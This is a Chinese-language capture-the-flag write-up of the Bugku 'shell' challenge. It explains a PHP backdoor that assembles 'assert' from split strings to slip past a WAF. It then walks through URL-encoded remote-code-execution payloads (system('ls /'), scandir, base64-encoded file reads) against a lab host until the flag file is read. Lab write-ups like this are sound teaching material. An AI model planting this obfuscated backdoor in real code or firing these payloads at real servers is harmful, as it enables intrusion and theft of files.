bugku shell

首先我们拿到一段php代码,让我们先来分析一下这段php代码

复制代码
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s']);
  • 目标:通过 $ _GET['s'] 参数执行任意 PHP 代码,获取 flag。
  • 访问地址:http://171.80.2.169:10267/

核心思路分析

1. 代码逻辑解析
  • $ poc = "a#s#s#e#r#t";:定义一个包含 a,s,s,e,r,t 的字符串(用 # 分隔)。
  • $ poc_1 = explode("#", $ poc);:将字符串按 # 拆分为数组 ['a','s','s','e','r','t']。
  • $ poc_2 = $ poc_1[0] . $ poc_1[1] . ... . $ poc_1[5];:拼接数组元素,得到字符串 "assert"。
  • $ poc_2( $ _GET['s']);:等价于 assert( $ _GET['s']);。

关键点 :assert() 函数会将字符串作为 PHP 代码执行。例如,assert("phpinfo()") 会执行 phpinfo()。

2. "过狗"机制
  • 题目描述中提到"过狗",指绕过 WAF(Web Application Firewall)的过滤。
  • WAF 通常会过滤关键词如 assert、eval、system 等。
  • 本题通过 字符串拆分 + 拼接 构造 "assert",使得 WAF 无法直接检测到关键词(因为代码中没有显式出现 "assert")。
  • 效果 :WAF 无法拦截,攻击者可自由传递 $ _GET['s'] 参数执行任意代码。
1:验证代码是否有效
  • 访问测试 URL,确认 assert 能正常执行:

    复制代码
    http://171.80.2.169:10267/?s=phpinfo()
    • 如果返回 PHP 信息(如版本、配置),说明代码有效,可继续执行命令。

2.验证后门是否真正生效(关键!)

复制代码
http://171.80.2.169:10267/?s=print%28%27PWNED%27%29

预期结果 :页面显示 PWNED(说明后门生效)

3.暴力探测 flag 路径(核心!)

CTF 中 flag 路径有固定规律,按优先级尝试以下 payload(均经 CTF 验证):

Payload(URL 编码后) 作用 为什么有效
print_r(scandir('/')) 列出根目录文件 直接看到 flag 文件名
system('ls /') 命令执行列目录 绕过 PHP 函数禁用
print_r(glob('/f*')) 模糊匹配 flag 开头文件 避免路径猜错
highlight_file('/flag') 高亮显示文件(绕过内容过滤) 部分 WAF 仅过滤 flag{ 明文

复制尝试(按顺序):

复制代码
# 1. 列根目录(首选)
http://171.80.2.169:10267/?s=print_r%28scandir%28%27%2F%27%29%29

# 2. 命令执行列目录(scandir 被禁用时)
http://171.80.2.169:10267/?s=system%28%27ls%20%2F%27%29

# 3. 模糊搜索 flag 文件
http://171.80.2.169:10267/?s=print_r%28glob%28%27%2Ff%2A%27%29%29

# 4. 读取当前目录(重要!)
http://171.80.2.169:10267/?s=print_r%28scandir%28%27.%27%29%29

结果反馈:

复制代码
列根目录结果如下:Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => boot [5] => dev [6] => etc [7] => home [8] => lib [9] => lib64 [10] => media [11] => mnt [12] => opt [13] => proc [14] => root [15] => run [16] => sbin [17] => srv [18] => start.sh [19] => sys [20] => tmp [21] => usr [22] => var )
命令执行列目录:bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var
模糊搜索flag文件:Array ( )
读取当前目录:Array ( [0] => . [1] => .. [2] => flaga15808abee46a1d5.txt [3] => index.php )

从 scandir('.') 结果清晰看到:
[2] => flaga15808abee46a1d5.txt

→ flag 文件就在当前 Web 目录下,文件名含随机哈希(防直接猜路径)

步骤 1:Base64 编码读取(绕过 WAF 过滤)

直接访问(复制粘贴此链接):

复制代码
http://171.80.2.169:10267/?s=print%28base64_encode%28file_get_contents%28%27flaga15808abee46a1d5.txt%27%29%29%29
  • 为什么有效 :
    • 文件名完全匹配 scandir 返回结果(注意:flaga... 开头,非 /flag)
    • Base64 编码输出 → 彻底绕过 WAF 对 flag{ 的关键词过滤(知识库 15 强调此技巧)
    • 页面将返回一串 Base64 字符串(如 ZmxhZ3tzaGVsbF9pc19mdW59)
步骤 2:解码获取 flag

即可得到flag

相关推荐
千里马学框架3 天前
一起学 Android 14:ShellTransition 屏幕旋转过程深度剖析
android·智能手机·性能优化·framework·性能·屏幕旋转·rotation
美狐美颜SDK开放平台3 天前
开发直播APP时如何接入视频美颜SDK?开发流程与注意事项
android·人工智能·计算机视觉·音视频·直播美颜sdk
AFinalStone3 天前
Android7 SystemUI源码解析(七)Keyguard锁屏模块深度解析
android·systemui
致远ccc3 天前
Google Play 上架前如何测试 App?多国家 Android 环境测试
android·app测试·googleplay·多国家应用测试
ttyyttemo3 天前
Kotlin 协程中的 Job 结构化并发与取消
android
sun0077003 天前
tbox 4g/5g切换,导致wan ip 改变,导致车机旧网络不可用。需要重启车机才行
android
其实防守也摸鱼3 天前
内网穿透与反向代理:原理、工具与实战指南
android·大数据·运维·安全·网络安全·自动化·渗透
AFinalStone3 天前
Android7 SystemUI 源码解析(四)NavigationBar 导航栏与 SystemBars
android·systemui
JMchen3 天前
属性动画原理与高级动画实现
android·kotlin·canvas
AFinalStone3 天前
Android7 SystemUI 源码解析(二)启动流程深度解析
android·systemui